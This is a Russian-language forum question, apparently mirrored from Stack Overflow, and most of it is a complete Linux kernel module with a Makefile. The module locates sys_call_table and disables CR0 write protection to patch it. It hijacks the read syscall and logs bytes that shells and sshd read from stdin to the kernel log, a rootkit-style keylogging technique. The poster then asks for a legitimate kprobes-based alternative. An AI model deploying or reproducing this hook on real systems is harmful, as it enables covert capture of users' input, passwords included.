Лучшая практика для захвата входных данных, есть ли законный метод? - PullRequest
0 голосов
/ 25 января 2020

Это рабочий пример захвата ввода пользователя через системный вызов ядра read.

https://pastebin.com/K9zcSXrQ

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/syscalls.h>
#include <linux/version.h>
#include <linux/unistd.h>
#include <linux/time.h>
#include <linux/preempt.h>
#include <linux/delay.h>
#include <linux/cred.h>
#include <linux/sched.h>

#include <linux/device.h>
#include <linux/mutex.h>
#include <linux/types.h>
#include <linux/kfifo.h>

#include <linux/kobject.h>
#include <linux/sysfs.h>

#include <asm/uaccess.h>
#include <asm/paravirt.h>
#include <asm-generic/bug.h>
#include <asm/segment.h>
#include <asm/atomic.h>
#include <asm/ptrace.h>

#define PID_MAX 4194305

#define MODULE_NAME "hacked_read"

#define dbg( format, arg... )  do { if ( debug ) pr_info( MODULE_NAME ": %s: " format , __FUNCTION__ , ## arg ); } while ( 0 )
#define err( format, arg... )  pr_err(  MODULE_NAME ": " format, ## arg )
#define info( format, arg... ) pr_info( MODULE_NAME ": " format, ## arg )
#define warn( format, arg... ) pr_warn( MODULE_NAME ": " format, ## arg )

MODULE_DESCRIPTION( MODULE_NAME );
MODULE_VERSION( "0.4" );
MODULE_LICENSE( "GPL" );
MODULE_AUTHOR( "module author <mail@domain.com>" );

static bool debug = false;
static DEFINE_SPINLOCK( mLock );
static unsigned long ( *original_read )  ( const struct pt_regs *regs );
void **sct;
static unsigned long flags; // irq flags

static atomic_t LOCK_NUMBER_ATOM        = ATOMIC_INIT(0);
static unsigned long long LOCK_NUMBER_ATOM_VAL;
static bool pids[ PID_MAX ];
static bool FORCE_EXIT = false; // force exit via method.

// ---------- force-exit handler -----
static struct kobject *force_exit_kobject;

static ssize_t foo_store(struct  kobject *kobj, struct kobj_attribute *attr, const char *buf, size_t count) {
    if ( strstr( buf, "exit" ) ) {
        FORCE_EXIT = true;
        info( "Force exit method. ");
    }
    return count;
}

static struct kobj_attribute foo_attribute = __ATTR( foo, S_IRUGO | S_IWUSR, NULL, foo_store );

// -------------- asm inserts -------------
static inline void rw_enable( void ) {
    asm volatile ( "pushq %rax \n"
        "movq %cr0, %rax \n"
        "andq $0xfffffffffffeffff, %rax \n"
        "movq %rax, %cr0 \n"
        "popq %rax " );
}

static inline uint64_t getcr0(void) {
    register uint64_t ret = 0;
    asm volatile (
        "movq %%cr0, %0\n"
        :"=r"(ret)
    );
    return ret;
}

static inline void rw_disable( register uint64_t val ) {
    asm volatile(
        "movq %0, %%cr0\n"
        :
        :"r"(val)
    );
}

static void* find_sym( const char *sym ) {
    static unsigned long faddr = 0; // static !!!
    // ----------- nested functions are a GCC extension ---------
    int symb_fn( void* data, const char* sym, struct module* mod, unsigned long addr ) {
        if( 0 == strcmp( (char*)data, sym ) ) {
            faddr = addr;
            return 1;
        } else return 0;
    };// --------------------------------------------------------
    kallsyms_on_each_symbol( symb_fn, (void*)sym );
    return (void*)faddr;
}

static unsigned long hacked_read_test( const struct pt_regs *regs ) {
    unsigned long r;
    unsigned long cp_user_flag;
    unsigned long fd;
    unsigned long strnlen_user_val;
    unsigned long count;
    static char tmp_buffer[ 1 ];
    atomic_inc( &LOCK_NUMBER_ATOM );
    pids[ task_pid_nr( current ) ] = true;
    r = original_read( regs );
    // injection:
    if ( r > 0 ) {
        fd = regs->di;
        if ( fd == 0 ) { // fd == 0 --> stdin (sh, sshd)
            strnlen_user_val = strnlen_user( (char*) regs->si, 1 );
            count = regs->dx;
            dbg( "strnlen_user_val: %lu\n", strnlen_user_val );
            if ( strnlen_user_val > 0 && count > 0 ) {
                if ( strnlen_user_val > 1 ) strnlen_user_val = 1;
                cp_user_flag = copy_from_user( tmp_buffer, (char*) regs->si, strnlen_user_val );
                if ( cp_user_flag == 0 ) {
                    info( "tmp_buffer: %s\n", tmp_buffer );
                }
            }
        }
    }
    atomic_dec( &LOCK_NUMBER_ATOM );
    pids[ task_pid_nr( current ) ] = false;
    return r;
}

int hacked_read_init( void ) {
    register uint64_t cr0;
    int cpu;
    int error = 0;
    sct = find_sym( "sys_call_table" );
    original_read = (void *)sct[ __NR_read ];
    for_each_present_cpu( cpu ) {
        spin_lock_irqsave( &mLock, flags );
        cr0 = getcr0( );
        rw_enable( );
        sct[ __NR_read ] = hacked_read_test;
        rw_disable( cr0 );
        spin_unlock_irqrestore( &mLock, flags );
    }
    force_exit_kobject = kobject_create_and_add( "hacked_read_force_exit", kernel_kobj );
    if( ! force_exit_kobject ) return -ENOMEM;
    error = sysfs_create_file( force_exit_kobject, &foo_attribute.attr );
    if ( error ) info( "failed to create the foo file in /sys/kernel/hacked_read_force_exit \n" );
    info( "Module was loaded\n" );
    return 0;
}

void hacked_read_exit( void ) {
    register uint64_t cr0;
    int cpu;
    unsigned int i;
    for_each_present_cpu( cpu ) {
        spin_lock_irqsave( &mLock, flags );
        cr0 = getcr0( );
        rw_enable( );
        sct[__NR_read] = original_read;
        rw_disable( cr0 );
        spin_unlock_irqrestore( &mLock, flags );
    }
    LOCK_NUMBER_ATOM_VAL = atomic_read( &LOCK_NUMBER_ATOM );
    while ( LOCK_NUMBER_ATOM_VAL != 0 ) {
        info( "Locked. LOCK_NUMBER_ATOM_VAL = %lld\n", LOCK_NUMBER_ATOM_VAL );
        for( i = 0; i < PID_MAX; i++ ) if ( pids[ i ] ) info( "Locked. pid = %d\n", i );
        msleep( 5000 );
        LOCK_NUMBER_ATOM_VAL = atomic_read( &LOCK_NUMBER_ATOM );
        if ( FORCE_EXIT ) {
            info( "Force exit. Unload module..." );
            break;
        }
    }
    kobject_put( force_exit_kobject );
    info( "Open. LOCK_NUMBER_ATOM_VAL = %lld\n", LOCK_NUMBER_ATOM_VAL);
    info( "Module was unloaded\n" );
}

module_init( hacked_read_init );
module_exit( hacked_read_exit );

Makefile:

CURRENT = $(shell uname -r)
KDIR = /lib/modules/$(CURRENT)/build
PWD = $(shell pwd)

TARGET = hacked_read
obj-m := $(TARGET).o

default:
        $(MAKE) -C $(KDIR) M=$(PWD) modules

clean:
        @rm -f *.o .*.cmd .*.flags *.mod.c *.order
        @rm -f .*.*.cmd *.symvers *~ *.*~ TODO.*
        @rm -fR .tmp*
        @rm -rf .tmp_versions

Я прочитал много стекового потока на topi c и нашел такое интересное мнение:

Почему вы должны реализовать системный вызов? В 99% случаев это неправильный способ достичь того, что вы пытаетесь сделать.

это от здесь .

А теперь, я ищу способ сделать тот же угон без системного вызова, не так ли? Это может быть своего рода механизм отладки ядра, что-то вроде kprobes может дать мне тот же результат, намного более безопасный, чем текущее необработанное переопределение syscall. Кто-нибудь может дать мне рабочий образец, пожалуйста?

Другими словами, я ищу законный метод, а не взлом.

...